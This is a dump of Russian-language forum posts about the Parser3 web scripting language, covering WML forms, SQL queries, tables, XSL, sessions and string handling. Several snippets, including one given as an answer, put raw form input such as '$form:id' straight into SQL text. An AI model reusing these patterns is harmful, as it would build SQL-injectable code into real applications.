Как открыть файл, например, типа doc для ознакомления.. ну, то есть для прочтения."
"41966","у меня большая проблема: никак не могу заставить передать с wap-страницы данные в базу посредством parser\
\
мой код wml:\
\
<p>Type text: <input type=\"text\" value=\"Test text\" name=\"text\"/></p>\
\
...\
\
^connect[$db]{^void:sql{insert into wap (date, text) values  (now(), '$form:itext')}}\
\
\
\
ЧТО ТУТ НЕ ТАК?"
"41967","[code]\
$response:pragma[no-cache]\
$response:content-type[text/vnd.wap.wml]\
\
<?xml version=\"1.0\" encoding=\"utf-8\"?>\
<!DOCTYPE wml PUBLIC \"-//WAPFORUM//DTD WML 1.1//EN\" \"http://www.wapforum.org/DTD/wml_1.1.xml\">\
<wml> \
	<p>\
		<b>name:</b><input name=\"name\" value=\"\"/>\
	</p>\
	<do type=\"accept\" label=\"send\">\
		<go href=\"\" method=\"get\">\
			<postfield name=\"post_name\" value=\"^$(name)\"/>\
		</go>\
	</do>\
	<p>$form:post_name</p>\
</wml>\
[/code]\
\
[url=\"http://www.yandex.ru/yandsearch?text=%F1%EF%E5%F6%E8%F4%E8%EA%E0%F6%E8%FF+wml&tb=1\"]Спецификация wml[/url]"
"41968","Дело как раз в том, чтобы уйти от RegExp на что-то альтернативное, более легкое для понимания. Я готов это слделать даже потеряв чуть в возможностях. Забыл сказать - нужен поиск шаблонов, для парсинга, так как входной формат сильно произвольный и нужно парсить опираясь на известные наборы \"меток\".\
\
Что есть альтернативное по сравнению с RegExp?"
"41969","В принципе задача такая и стояла. Но зачем при каждом удалении модуля искать среди всех — неиспользуемые, если я наверняка знаю id удаляемого модуля.\
\
А можно все таки тот запрос с LEFT JOIN для примера? :)"
"41970","[code]\
<p>Type text: <input type=\"text\" value=\"Test text\" name=\"[b]text[/b]\"/></p>\
#####\
^connect[$db]{^void:sql{insert into wap (date, text) values (now(), '$form:[b]itext[/b]')}}\
[/code]\
\
У вас поле называется text, а записать вы пытаетесь — [b]i[/b]text"
"41971","Если я правильно понял по вашему второму сообщению: в шаблоне есть метка, которую надо заменить на что-то, так?.. Тогда вот пожалуйста [url=\"http://www.parser.ru/docs/lang/stringreplace.htm\"]^string.replace[][/url]\
\
Но для задач, описанных в первом вашем посте это никаким боком вообще. Там RegExp нужен :("
"41972","[code]\
^if($module_id){\
	^rem{ *** Удаляем информацию о модуле из базы данных *** }\
	^MAIN:pSQL.void{\
		DELETE FROM\
			engine_modules\
		WHERE\
			module_id = $module_id\
	}\
\
	^rem{ *** находим неиспользуемые классы *** }\
	$deleted[^MAIN:pSQL.table{\
		SELECT\
			engine_classes.module_id,\
			engine_classes.class_name\
		FROM\
			engine_classes\
			^MAIN:pSQL.left_join[from;engine_modules;engine_classes.module_id = engine_modules.module_id]\
		WHERE\
			^MAIN:pSQL.left_join[where;engine_modules;engine_classes.module_id = engine_modules.module_id]\
			engine_modules.module_id IS NULL\
	}\
\
	^rem{ *** удаляем файлы неиспользуемых классов *** }\
	^deleted.menu{\
		^file:delete[/classes/$deleted.class_name]\
	}\
\
	^rem{ *** удаляем записи о неиспользуемых классах *** }	\
	^MAIN:pSQL.void{\
		DELETE FROM\
			engine_classes\
		WHERE\
			module_id IN (^deleted.menu{$deleted.module_id}[,])\
	}\
}\
[/code]"
"41973","откуда вопрос?"
"41974","Получается, что при передаче по ссылке хеша строки таблицы можно изменить и, соответственно, должны измениться данные в таблице, но этого не происходит."
"41975","Не понимаю, но почему если [color=\"#ff0000\"][eng][/color] я меняю на [color=\"#ff0000\"][rus][/color], то эта конструкция отказывается работать...ПОЧЕМУ???? Я голову уже всю сломала\
[code]\
$date_now[^date::now[]]  \
$calendar_month[^date:calendar[eng]($date_now.year;$date_now.month)] \
^if(^calendar_month.locate[$date_now.weekday;$date_now.day]){\
^connect[$connect_string]{$sql_tab[^table::sql{exec iis_corp_Worker_Select_by_Week $calendar_month.week}]}\
	^sql_tab.sort{$sql_tab.Worker_BirthDateShort}\
	^sql_tab.menu{\
		$sql_tab.Worker_BirthDateShort - $sql_tab.Worker_Name<br>\
	}\
}\
[/code]"
"41976","Воспользовался поиском по форуму, нашел: \
^process{строка}\
Вопрос: что может быть \"строкой\"?\
И можно ли в скобках датьб ссылку на php файл?"
"41978","приведите конкретный пример."
"41981","дата, созданная с помощью ^date::now[], всегда имеет английские номера недель :) Ведь нет же у нас параметризованного конструктора now? :)\
\
Приспособиться к этому поведени, думаю не очень сложно."
"41982","[code]\
@main[]\
$tab[^table::load[/tab.txt]]\
\
^tab.menu{\
	$tab.name\
}[<br />]\
\
\
@ct[dat]\
$dat.name[lop]\
[/code]\
\
Выводит то, что было записанно в таблицу. Если Вы говорите, что параметры передаются по ссылке, то где изменения? Как парсер отследил, что ничего не должно изменяться? Или $tab.fields - это новый объект?"
"41988","в приведенном вами коде [b]вообще нет[/b] попыток что-либо модифицировать."
"41990","[b]new.p:[/b]\
\
[code]\
@CLASS\
new.class\
\
@test[]\
Тестовая строка\
[/code]\
\
[b]index.html:[/b]\
\
[code]\
@USE\
new.p\
\
@main[]\
^new.class:test[]\
[/code]\
\
Вот такой нехитрый код выдает ошибку [b]parser.compile[/b]. Опыты показали, что причиной ошибки послужила точка в названии класса.\
\
Как можно вызывать класс с точкой в названии?\
\
ПостСкриптум\
[code]\
# не помогает:\
^{new.class}:test[]\
[/code]"
"41991","... никогда. Это извращение. Можно, конечно, сделать все через одно место и получить примерно такой код:\
[code]@main[]\
 $call[$[test.opt]]\
 ^call[]\
\
@test.opt[]\
Есть!\
[/code]\
\
[i]Привожу пример \"на пальцах\", но переложить все это на класс думаю не составит труда.[/i]\
\
p.s. to PAF: Видимо название класса или метода с точкой должно возбуждать parser.compile"
"41992","Случайно просто столкнулся с ошибкой в том месте, где ее меньше всего ожидал. Сейчас сделал по аналогии с http://www.parser.ru/forum/?id=37469"
"41993","Очень прошу приплите коды счетчика для сайта."
"41997","После подключения модуля парсера к иису при проверки функционала по тестовой странице существует ошибка при нахождении дирректорий с кодировками и библиотеками для доступа к БД\
что делать?"
"41998","как прописать путь к дирректориям библиотек и кодировок и где это надо делать?"
"41999","1. [url=\"http://www.parser.ru/faq/install/\"]FAQ. Вопросы по установке[/url]\
2. [url=\"http://www.parser.ru/download/win32/\"]Скачать. Win32[/url] (читать в самом нижнем углу)\
\
+ Бонус: слева есть поиск по форуму."
"42001","Форум по JavaScript: http://xpoint.ru/forums/programming/javascript/index.xhtml"
"42002","Здравствуйте. \
Помогите, пожалуйста, новичку.\
Мне нужно, чтобы я в ссылке передавал id записи в другую страницу, и уже на основании id-а эта страница отрабатывала ее далее.\
Так вот, пытаюсь делать такую ссылку:\
/admin/edit.html?id=14\
\
Внутри edit.html вызываю ^edit_news[]  который такой:\
[code]\
@edit_news[]\
# $id[1]\
^if($id){\
^connect[$connect_string]{\
   $news[^table::sql{SELECT `news_id` , `date` , `header` , `body` , `category` \
FROM `news` \
WHERE news_id=$id\
   }]\
…Ну и тут обработка этой записи…\
}{Запись не найдена\
}\
[/code]\
Он мне по-любому выдает запись не найдена, если раскомментировать 2-ю строку ($id[1]), то он начинает вытаскивать естественно запись с id=1. Таки как передать ему нужный мне id ????"
"42003","Так что, будет реализация сокетов в Parser?"
"42004","[code]\
@edit_news[]\
# $id[1]\
^if(def $form:id){\
^connect[$connect_string]{\
   $news[^table::sql{SELECT `news_id` , `date` , `header` , `body` , `category` \
FROM `news` \
WHERE news_id=$form:id\
   }]\
…Ну и тут обработка этой записи…\
}{Запись не найдена\
}\
[/code]"
"42005","Есть таблица:\
\
date_birth                 name\
1982-06-28 00:00:00.000    Иванова Татьяна Михайловна \
1981-06-30 00:00:00.000    Диана Владимировна \
1977-07-01 00:00:00.000    Синилов Николай Юрьевич \
1976-07-02 00:00:00.000    Белик Алексей Владимирович \
1975-07-02 00:00:00.000    Худов Дмитрий Петрович \
1970-06-28 00:00:00.000    Ширшикова Любовь Алексеевна \
1970-06-28 00:00:00.000    Долгополов Станислав Витальевич \
\
Нужно отсортировать по дате рождения, но мешает год.\
Хотела убрать год нафиг и оставить только месяц и день рождения и новые ранные записать в другую таблицу для дальнейшей работы. \
\
Намекните хотя бы пути решения, плз :)"
"42006","Есть ли возможность повлиять на них?"
"42008","Данные передаваемые методом GET получают с помощью form.\
В Вашем случае ../page.html?id=14\
\
[code]$id[$form:id][/code]\
\
Если нужно получить обязательно число (как в Вашем случае), то целесообразно использовать [code]$id[^form:id.int(0)][/code]\
это защитит от лишних ошибок (например если кто-то захочет передать вместо числа строку). Такой код в случае ошибки вернет 0 и Вы можете поставить проверку на \"0\"."
"42009","Что бы это могло значить? :(\
\
Затык здесь:\
[code]^form:postmap.save[binary;$address/maps/$form:postmap.name][/code]\
\
С формой все ок, как я понимаю:\
[code]<form method=\"post\" enctype=\"multipart/form-data\">[/code]"
"42010","[url=\"http://www.parser.ru/links/\"]полезные ссылки[/url] рулят"
"42011","Из БД, MS SQL\
Но у меня прямого доступа к ней нет, только через определенные процедуры (так решил админ). Одна из этих процедур выдает все ДР на текущую неделю, вот с ее результатами я и пытаюсь справиться."
"42013","ключевое слово: CONVERT"
"42014","например\
http://www.present-tlt.ru/announcement\
а не\
http://www.present-tlt.ru/announcement.html"
"42015","не помню, проверял ли я эту ситуацию."
"42016","Да как бы он не пуст. Это картинка. :("
"42017","А существует ли в Парсере стандартное решение для создания на сайте авторизованного доступа...\
\
Если нет, то как это лучше сделать??"
"42018","[code]\
	if(info.length) {\
		int written=write(f, ...\
[/code]\
\
слышу о таком впервые. \
\
какие-то файлы, наверное, записываются?\
проблемы, вероятно, только с этим «заколдованным»?\
думаю, не смогу помочь удалённо.\
\
пока сообщите платформу и версию, чтобы если такое у кого ещё повторится, хоть что-то знать."
"42019","Если таблица nameless, то в результате ^table.columns[] ничего не получаю. А хотелось бы получить таблицу, в которой строки были бы числами от [b]1[/b] до [b]n[/b], где [b]n[/b] — количество столбцов таблицы.\
\
Вариант:\
[code]\
$flipped[^table.flip[]]\
$columns[^table::create{column}]\
^flipped.menu{\
	^columns.append{$flipped.line}\
}\
[/code]\
\
Можно изящней? [i](Не хочется создавать еще одну локальную переменную flipped)[/i]"
"42023","Не очень понятно зачем иметь таблицу, в которой важным является только число последнего поля.\
Если использовать это для перебора полей, то достаточно:\
[code]\
$flipped[^table.flip[]]\
$columns[^flipped.count[]]\
[/code]\
А дальше цикл... и всё такое."
"42026","[b]1.[/b] создайте папку [i]announcement[/i] и в ней файл [i]index.html[/i], при обращении к папке (http://www.present-tlt.ru/announcement[b]/[/b]) будет отображаться файл [i]index.html[/i] (если конечно файлы index.html назначены на эту должность)\
\
[b]2. .htacces:[/b]\
[code]\
Options +FollowSymLinks\
[/code]\
\
[b]3. ModRewrite[/b]"
"42028","Я незнаю наверняка буду ли я выводить nameless-таблицу или нет. Поэтому вывожу так:\
\
[code]\
$columns[^table.columns[]]\
^table.menu{\
	<tr>\
	^columns.menu{\
		<td>$table.[$columns.column]</td>\
	}\
	</tr>\
}\
[/code]\
\
Но если получаю nameless-таблицу, то естественным образом ничего не выводится."
"42030","Записываем в переменную число, значит и скобки ставим круглые:\
[code]\
$id(^form:id.int(0))\
[/code]"
"42031","У меня $address - абсолютный путь, в т.ч. http://\
.save его не хочет. :( \
Вот в чем косяк. :(("
"42033","Более подробную информацию о нем ищите в [url=\"http://www.parser.ru/links/\"]полезных ссылках[/url]\
\
А что на счет варианта с папками?.. Для начала это будет проще всего, т.к. модуль ModRewrite не такой простой."
"42034","http://www.parser.ru/forum/?id=5450\
http://www.parser.ru/forum/?id=1405\
\
нужно еще? :)"
"42036","Я не вспомню сайта, сделанного в Студии, урлы которого были бы без слешей на конце. Чем не аргумент?! :-)"
"42037","Я написал себе дополнительный метод @print[variable] в my_lib.p, который нужен только для отладки. Выводит полученную переменную, если была получена таблица — таблицей, если хэш — хэшем, если файл — проверяет, если картинка, то показывает картинку, инчае выводит текст файла + статистику (имя файла, размер и т.д.)…\
\
Так вот я пока с ^columns[] разбирался, забыл совсем откуда я его вызвал что он мне ничего не вывел. А вызывал я его так: ^print[^table.flip[]]\
\
Не знаю зачем мне это было нужно :)\
\
Спасибо!"
"42038","если бы я не поленился посмотреть в исходник внимательнее, сразу бы так и сказал.\
\
сообщение об ошибке не очень внятное получилось."
"42039","Понадобился свой increment, который бы [i]возвращал[/i] рузультат увеличивания. Вот написал:\
\
[code]\
@inc[variable;count]\
^caller.[$variable].inc(^count.int(1))\
$result($caller.[$variable])\
# end @inc[]\
[/code]\
\
Вызывается так:\
[code]\
$var(1)\
^inc[var]\
[/code]\
\
Все отлично работает, только не очень красиво получается, что передаем методу не переменную, а имя переменной.\
\
Если передавать саму перемнную, то каким хитрым способом можно получить ее имя?.. Или такого способа нет — оставить как есть, пока еще работает? :)"
"42040","Есть проблемо.\
\
Допустим, метод [code]^news[$var][/code].\
Имя переменной формируется во время выполнения кода. Допустим:\
[code]\
$type[main]\
$destination[Archive]\
[/code]\
\
Вызваться в коде должно как:\
[code]\
^news[mainArchiveSIZE]\
[/code]\
\
Когда вызываю:\
[code]\
^news[$type${destination}SIZE]\
[/code]\
Выдаёт ошибку «parser.compile». \
\
Вопрос стоит ребром."
"42041","буквально получить ссылку на числовую переменную в parser нельзя.\
\
поскольку числа передаются по значению (реально передаётся выражение, которое вычисляется каждый раз, когда происходит обращение к $параметру).\
\
имя переменной получить, соответственно, тоже нельзя.\
\
единственно, куда имеет смысл подумать, это насчёт создания более ёмкого по смыслу оператора.\
\
скажем, оператора цикла, который бы ходил с другим шагом. или чего-то подобного."
"42044","Я наверное уже достал, но напомню еще раз - обещали реализацию сокетов в Parser.\
Не передумали?"
"42045","он по моему ясно дал знать свою позицию:\
http://www.parser.ru/forum/?id=38783\
http://www.parser.ru/forum/?id=39777"
"42048","http://www.parser.ru/faq/lang/\
\
[b]Почему парсер удаляет идущие подряд пробельные символы, оставляя только один.[/b]\
Это фича [i]зазывается[/i] оптимизация"
"42049","Просто я уже больше 2-х месяцев задаю один и тот же вопрос, но так не до чего конкретного дело и не дошло."
"42054","Я имел ввиду как открыть doc файл не в браузере, а чтобы открылось сразу окно ворда."
"42055","есть код:\
[code]$list[^file:list[\\;\\.htm^$]] \
^list.menu{<a href=\"$list.name\">$list.name</a><br>}[/code]\
\
Есль файл *.htm  имеет русское имя, то такой файл при работе с помощью команды лист становится таким:\
\
рџрѕсѓс‚р°рѕрѕрір»рµрѕрёрµ рѕ рїрѕрґрірѕс‚рѕрірєрµ рѕс‚рѕрїрёс‚рµр»сњрѕрѕрірѕ сѓрµрЇрѕрѕр°.html\
\
Оригинал:\
[b]Постановление%20о%20подготовке%20отопительного%20сезона.html[/b]\
\
Как это можно исправить или обойти"
"42056","Вы так сделать не сможете, только с разрешения пользователя: Хочет ли он сохранить файл или хочет открыть программой с ним ассоциированной. Читать про $response:download."
"42057","1. Неверно указан путь. Возможно на локальной машине \\ будет работать, на сервере нет.\
2. ваш шаблон не должен искать html файлы, только htm\
3. укажите версию parser3 и ...\
\
P.S. У меня на 3.1.4 версии под Linux работает и русский отображается как надо."
"42059","если мы ссылку js делаем c использованием якоря то даже когда js отключен она будет работать????"
"42061","короче я не понимаю немного про этот якорь для чего и где использовать попробую объяснить:\
на сайте http://www.present-tlt.ru/announcement/rabota\
можно выбрать объявления и вывести их отдельно но когда js\
отключен они не выбираются так вот можно ли эту проблему исправить\
с помощью якоря?"
"42062","Настоятельно рекомендую: http://www.parser.ru/forum/?id=42001"
"42063","сравните ваш подход:\
[code]\
$a1[aa11]\
$a2[aa22]\
\
$group[a]\
$subGroup[2]\
\
$[${group}${subGroup}]\
[/code]\
с таким подходом:\
[code]\
$settings[\
   $.a[\
      $.1[aa11]\
      $.2[aa22]\
   ]\
]\
\
$group[a]\
$subGroup[2]\
\
$settings.$group.$subGroup\
[/code]\
так читабельнее и можно передать кому-то, скажем, group целиком ($settings.$group).\
\
это в \"духе parser\".\
тут parser вас [b]не[/b] ограничивает [b]но[/b] подталкивает :)"
"42064","я занят другими проектами, у пытавшегося это всё затеять, видимо, похожая ситуация.\
\
код простой, сделать могут многие.\
пока же, увы, нужно пользовать внешний скрипт.\
\
для каких-то задач хватит веб-сервисов.\
мелочь с base64 обязательно напишу сам (если кто раньше не пришлёт), поскольку нам точно нужно будет."
"42065","[code]# создаем/открываем файл с информацией\
$sessions[^hashfile::open[/sessions]]\
^if(!def $cookie:sid){\
    $cookie:sid[^math:uuid[]]\
}\
# после этого…\
\
$information_string[произвольное значение]\
# …так запоминаем произвольную $information_string под ключом sid на 2 дня\
$sid[$cookie:sid]\
$sessions.$sid[$.value[$information_string] $.expires(2)]\
\
# …а так можем считать сохраненное ранее значение\
# если с момента сохранения прошло меньше 2х дней\
$sid[$cookie:sid]\
$information_string[$sessions.$sid][/code]\
-------------------------------------\
Обращаясь к $information_string мы сравниваем UUID хранящийся в cookies и UUID из файла sessions, если они равны, то из файла sessions мы берем значения соответсвующие этому UUID.\
Тогда получается, что при обращении пользователя к любой странице сайта, к примеру через 1 день, мы с омощью переменной $information_string можем получить вчерашние значения?"
"42066","[code]@letter_count[string;letter][parts]\
$parts[^string.split[$letter]]\
$result(^parts.count[]-1)[/code]\
\
Это верх совершенства или можно проще|рациональней? :-)"
"42067","ещё можно задачу исходную сформулировать, вместе подумаем, может и буквосчётом не стоит заниматься.."
"42068","[quot]\
Обращаясь к $information_string мы сравниваем UUID хранящийся в cookies и UUID из файла sessions, если они равны, то из файла sessions мы берем значения соответсвующие этому UUID.\
[/quot]\
\
ни фига не понял.\
в приведенном примере в первых двух кусках происходит сохранение значения переменной $information_string в хешфайле, при этом ключ для доступа к этой переменной - $sid\
\
[quot]\
Тогда получается, что при обращении пользователя к любой странице сайта, к примеру через 1 день, мы с омощью переменной $information_string можем получить вчерашние значения?\
[/quot]\
\
во второй части примера (если точнее то имеет смысл первый и третий кусок для этой части примера) происходит считывание из хешфайла [b]последнего[/b] положенного туда значения, где ключ для обращения опять-же $sid. а когда оно туда было положено никому не извесно, известно лишь что менее чем 2 дня назад, в противном случае пара ключ/значение экспайрнулось."
"42069","Задача: посчитать уровень вложенности URI.\
\
Как делаю я (c учетом сюрприза):\
[code]$uri[^uri.trim[both;/]]\
$parts[^uri.split[/]]\
$depth($parts)[/code]\
\
Итого:\
[code]$uri[/] -> $depth(0)\
$uri[/first/] -> $depth(1)\
...[/code]"
"42070","у меня стоит денвер\
Base_Parser_2003-03-17_a1.3.27_p4.3.0_m3.23.53_pma2.3.0\
WinXP\
По поводу шаблона это я знаю... там в шаблоне опечатка.\
Помоему возникают какие то проблемы с кодировкой.."
"42071","Есть файл index.html и Постановление.htm\
[code]$list[^file:list[\\;\\.htm^$]] \
^list.menu{ \
   <a href=\"$list.name\">$list.name</a><br> \
} [/code] выдает такой результат:\
[code]<a href=\"Постановление.htm\">Постановление.htm</a><br> </body>[/code]\
Но при переходе по этой ссылке выдает 404 ошибку.\
\
Если же файл Постановление.htm переименоваль в 123.htm,\
то по ссылке переходит нормально."
"42072","А в браузере. Если хотите чтобы браузер понял русский текст правильно, сделайте: ^taint[uri][Постановление.htm].\
\
Попробовали? А теперь скажите, вы до сих пор хотите использовать русские имена файлов на сервере? :)"
"42073","Правда в случае URI вида ...?arg1=/dir1/&arg2=/dir2/ работать не будет если только не отрезать перед этим строку запроса."
"42074","Есть xml:\
[code]\
<town>\
<forecast day=\"29.06.2005\" tod=\"0\">\
<temperature max=\"21\" min=\"19\" />\
</forecast>\
<forecast day=\"29.06.2005\" tod=\"2\">\
<temperature max=\"23 min=\"21\" />\
</forecast>\
\
...\
\
<forecast day=\"9.07.2005\" tod=\"0\">\
<temperature max=\"32 min=\"25\" />\
</forecast>\
</town>\
[/code]\
\
Вопрос: как должен выглядеть xsl чтобы результатом была таблица:\
[code]\
----------------------------\
|   дата   | tod 0 | tod 2 |\
----------------------------\
|29.06.2005| 19-21 | 21-23 |\
...\
и т.д.\
[/code]\
\
Вывести по отдельности по tod=\"0\" или tod=\"2\" получается, а вот вместе нет."
"42075","А проблемы с ?arg= нет, так как используется RewriteRule, подсмотренное у вас :-)"
"42076","Я с самого начала не хотел, но если русские имена будут - так проще будет заказчику."
"42077","Как?\
Заранее спасибо."
"42081","XSL написать всегда всё равно можно, однако если есть вдруг возможность упростить себе жизнь, стоит воспользоваться.."
"42082","методом тов. Мюнча, типа как тут - http://www.parser.ru/forum/?id=6758"
"42083","Не так давно задавала вопрос о способе определения номера текущей недели. Вывели способ в строчки. И самое интересное, что эта конструкция будет работать, но до 1 июля, а 1-го она работать перестанет. Так как $date_now.day имеет формат %d, а в таблице $calendar_month - дата имеет формат %dd.\
\
[code]\
$calendar_month[^date:calendar[eng]($date_now.year;$date_now.month)] \
^if(^calendar_month.locate[$date_now.weekday;$date_now.day]){\
  ^connect[$connect_string]{$sql_tab[^table::sql{exec iis_corp_Worker_Select_by_Week $calendar_month.week}]}\
}\
[/code]\
\
Что делать, ума не приложу... Плз, пните мысль, а? Ну что вам стоит :)"
"42085","мне не нужен список уникальных дат, скорее мне нужен список только тех узлов, которые имеют пару чтобы не плодить пустые ячейки.\
\
Тем более в этом примере используется последовательный вывод, мне же нужен выборочный."
"42088","получив всё сгруппированное дальше с ним куда проще работать.\
никто не говорит, что получили и расслабились :)"
"42089","<xsl: choose>\
<xsl: when .....>"
"42091","Спасибо огромное!!\
\
Теперь у меня все работает! http://ivanium.ru/main.html"
"42092","Для каждой даты всегда есть и tod=0 и tod=2?\
Если да, то всё просто.\
[code]\
<xsl:template match=\"forecast[@tod=0]\">\
<xsl:variable name=\"date\" select=\"@day\"/>\
<xsl:variable name=\"tod0\" select=\"concat(temperature/@min),'-',temperature/@max)\"/>\
<xsl:variable name=\"tod2\" select=\"concat(../forecast[@date='$date' and @tod=2]/temperature/@min),'-',../forecast[@date='$date' and @tod=2]/temperature/@max)\"/>\
</xsl:template>\
[/code]"
"42093","т.е. в hash-файле sessions, будет столько записей сколько разных пользователей зайдет на сайт?\
\
Вообще я пытаюсь сделать корзину для сайта...\
Еще один вопрос.\
Если пользователь сначала к прим. посетил раздел игрушки и добавил в корзину две вещи (id1=1, id2=2). Эти значения я передаю как \"произвольное значение\" в $information_string.\
Затем в другом разделе сайта пользователь выбрал (id3=3, id4=4) и я так же их через POST передаю в корзину как \"произвольное значение\".\
После таких манипуляций в корзине останется только id3=3, id4=4, т.к. $information_string перепишется.\
Наверное прийдется сохранять значения в БД, используя $sid, чтобы все значения сохранились.\
\
Не подскажете в каком направлении двигаться?"
"42094","У каждого пользователя должен быть uid. Если пользователь добавляет товар, то в таблицу пишется его uid (причем на каждый товар создается новая строка) - и никаких проблем"
"42095","Это точно.. Они будут рады изучить русский язык.\
В мои задачи не входит написание зарубежной версии, т.к. вряд ли за рубежом им будет это интересно.:("
"42096","Но отображать хотелось бы только парные.\
\
На основе вашего кода сделал то что хотел, правда без переменных.\
\
Вопрос: что значит путь ../forecast относительно текущего узла?"
"42097","[code]\
<xsl:template match=\"forecast[@tod=0]\">\
<xsl:variable name=\"date\" select=\"@day\"/>\
<xsl:if test=\"../forecast[@date='$date' and @tod=2]\">\
<xsl:variable name=\"tod0\" select=\"concat(temperature/@min),'-',temperature/@max)\"/>\
<xsl:variable name=\"tod2\" select=\"concat(../forecast[@date='$date' and @tod=2]/temperature/@min),'-',../forecast[@date='$date' and @tod=2]/temperature/@max)\"/>\
<!-- вывод строки -->\
</xsl:if>\
</xsl:template>\
[/code]"
"42098","После которого получим XML нужного вида, и будет нам счастье."
"42100","Нашёл в форуме сообщение о подсветке parser'ного кода для \"[url=\"http://www.parser.ru/forum/?id=39654\"]kate and KDevelop[/url]\". Пользователи Linux (KDE) скажите, пожалуйста, возможно ли \"раскрасить\" парсерный код в веб-редакторе Quanta Plus?"
"42101","Поддерживает ли Парсер работу с PostgreSQL и где взять драйвера?"
"42102","http://www.parser.ru/download/src/\
и собрать драйвер. \
см. INSTALL файл в архиве.\
это пара команд:\
\
[code]\
parser3project/\
   . << сюда распаковать исходник самого parser;\
       каталог переименовать в \"parser3\"   \
   sql/\
      << сюда распаковать исходник драйвера\
[/code]\
читать sql/*/INSTALL\
\
---\
ещё поищите готовое, слева формочка.\
и не забывайте про google с yandex, тоже что-то знают."
"42103","Имеем форму типа \"multipart/form-data\".\
В ней есть конструкция <input type=\"text\" name=\"menutitle\" value=\"текст\">\
и <input type=\"file\" name=\"picture\">\
И вдруг происходит следующее: при пустом поле \"picture\" в него приходит файл с таким текстом:\
\
menutitle\"\
\
текст\
\
При этом с вероятностью около 20% в поле $form:menutitle не приходит ничего, как и в поле $form:picture.\
\
Я не смог раскопать причину глюка, так как он не дает явных закономерностей. Глюк зависит от данных внутри формы, но не от самой формы. \
Количество теряемых текстовых полей может быть любым, это могут быть совершенно разные поля (т.е. исключается ошибка синтаксиса html).\
\
Глюк случился впервые только сегодня(!!) на разных машинах (парсер и под unix, и под windows). Формы тоже разные проверял.\
\
На клиенте стоит ie5 и ie6."
"42104","я что-то подобное наблюдал пару раз, когда забывал закрыть кавычку у атрибута (причем у элемента не относящегося к самой форме)."
"42105","внутрь атрибута body здесЬ: <news-item boby=\"$var\" />\
попадает код пропущенный через типограф, там есть <br/>, ну и вываливается с ошибкой:\
Entity: line 432: parser error : Unescaped '<' not allowed in attributes values"
"42107","http://aktar.sibarit.ru/login/update.htm?p=/demo/some и любые подразделы (надо зарегистрироваться), а также форма регистрации на том сайте. \
Глючит примерно с 10-20 сохранения - выпадает самое верхнее поле. \
Сейчас еще попробую отловить форму перловым скриптом.."
"42108","Значит, к парсеру не относится. И похоже, наблюдается только в MSIE. Меня сначала смутила привязка к определенной дате."
"42109","попробуйте взять код странички, скопировать в .htm файл, выкиньте все что не относится к форме, пропишите правильный action и экспериментируйте.\
\
не знаю как IE, но лично мне не понравилось-бы это:\
<form action=\"/login/?action=register&refto=/login&allowcode=\" method=post>\
\
т.е. в результате получается смесь POST и GET, возможно IE от этого колбасит. поместите то, что после '?' в hidden поля.\
\
и еще я считаю что смешивать аттрибуты в кавычках и без кавычек плохо."
"42110","Подскажите пожалуйста, каким образом можно заменить первый знак в строке на этот же, но в верхнем регистре?"
"42111","[code]\
@firstToUpper[str]\
$first[^str.left(1)]\
$result[^first.upper[]^str.right(^str.length[] - 1)]\
[/code]\
\
\
http://www.parser.ru/docs/lang/stringltrt.htm\
http://www.parser.ru/docs/lang/stringuplow.htm"
"42112","[code]^string.match[(.)(.+)][g]{^match.1.upper[]$match.2}[/code]"
"42113","Я вот так пользуюсь:\
[code]@up[str]\
$gb[^str.mid(0;1)]\
^gb.upper[]^str.mid(1)[/code]"
"42114","лучше переработать структуру xml:\
<news-item date=\"01.07.2005\">\
<title></title>\
<body>типографированный текст</body>\
<image src=\"\"... />\
</news-item>"
"42115","нужно так:\
[code]^string.match[^^([a-zа-я])(.*)^$][]{^match.1.upper[]$match.2}[/code]"
"42118","Верно ли, утверждение, что валидный телефонный номер вводимый пользователем через веб-форму, может быть:\
1) Состоящим только из цифр (89030005654)\
2) Вариант 1 разделенный пробелами или \"минусами\"\
3) Варианты 1,2 с указанным международным кодом (+79030005654)\
\
?\
\
Может, кто-то уже решал такую задачу?\
\
Был бы очень рад комментариям/ссылкам и/или советам."
"42121","Верно.\
Еще может быть с пробелами, со скобками и точками..."
"42122","Дайте посетителям возможность писать номер так как они хотят: с восьмеркой вначале или с плюсом семь, с дефисами, со скобками, c пробелами.\
\
Уберите с помощью регулярных выражений лишние символы и сделайте замену [b]8 <=> 7[/b] (тривиально). Получили 11-значное число? Значит все верно.\
\
«[url=\"http://www.artlebedev.ru/best/ui/humaneness/\"]Пусть потеет машина[/url]»"
"42124","однако у меня в административном интерфейсе _все_ формы с этим enctype, и подавляющее большинство пользуется IE (5.5+) когда делает что-либо в админе (все работает также и в firefox), однако таких проблем не наблюдали ни разу за N лет эксплуатации.\
\
возможно enctype + что-то еще + IE. предлагаю попробовать найти \"что-то ещё\", но вы похоже не хотите :)"
"42126","Использую:\
Parser v. 3.14\
MySQL v.3.23.58\
sql.p v 1.39 (Misha v.3)\
\
Нехобходимо делать синхронную запись в 2 таблицы, первая таблица содержит поле autoincrement, вторая таблица связана с ней по этому полю.\
\
В докуметации к серверу написано, что функция last_insert_id() возвращает последнее значение присвоенное полю autoincrement для текущей сессии и не учитывает результаты работы сессий других пользователей.\
При использовании такого кода, SQL сервер сообщает об синтаксической ошибке:\
\
[code]\
^MAIN:pSQL.sql[void;\
	insert into table_1 set\
		column1=value, #  autoincrement\
		column2=value\
	^;\
	insert into table_2\
		column1=last_insert_id(),\
		column1=value\
]\
[/code]\
\
Хотя такой же запрос из консоли или phpMyAdmin выполняется корректно. Проблема в символе \";\".\
\
Если разбить эту операцию на два запроса, то все вроде бы работает:\
\
[code]\
^MAIN:pSQL.sql[void;\
	insert into table_1 set\
		column1=value, #  autoincrement\
		column2=value\
]\
^MAIN:pSQL.sql[void;\
	insert into table_2\
		column1=last_insert_id(),\
		column1=value\
]\
[/code]\
\
Теперь вопрос: сессией считается подключение ^connect{} (в данном случае через pSQL.server) или все же каждый запрос?\
\
Насколько велика вероятность разрыва связи между таблицами при нескольких одновременных запросах?"
"42127","Несколько раз у себя замечал, что пользователи ставят точки после цифр (вместо тире), особенно любят это делать иностранцы"
"42128","поищите готовые регулярные выражения.\
\
совет: в string.match пользуйтесь флагом [b]x[/b]. детали см. в документации."
"42129","сессией тут считается подключение.\
\
примечание:\
в CGI версии можно использовать несколько\
[code]\
^connect[$cs]{...}\
^connect[$cs]{...}\
^connect[$cs]{...}\
[/code]\
они все используют [b]одно[/b] физическое соединение с базой данных.\
\
[i]НО: в apache module версии разные connect могут использовать разные физические соединения с базой данных.[/i]"
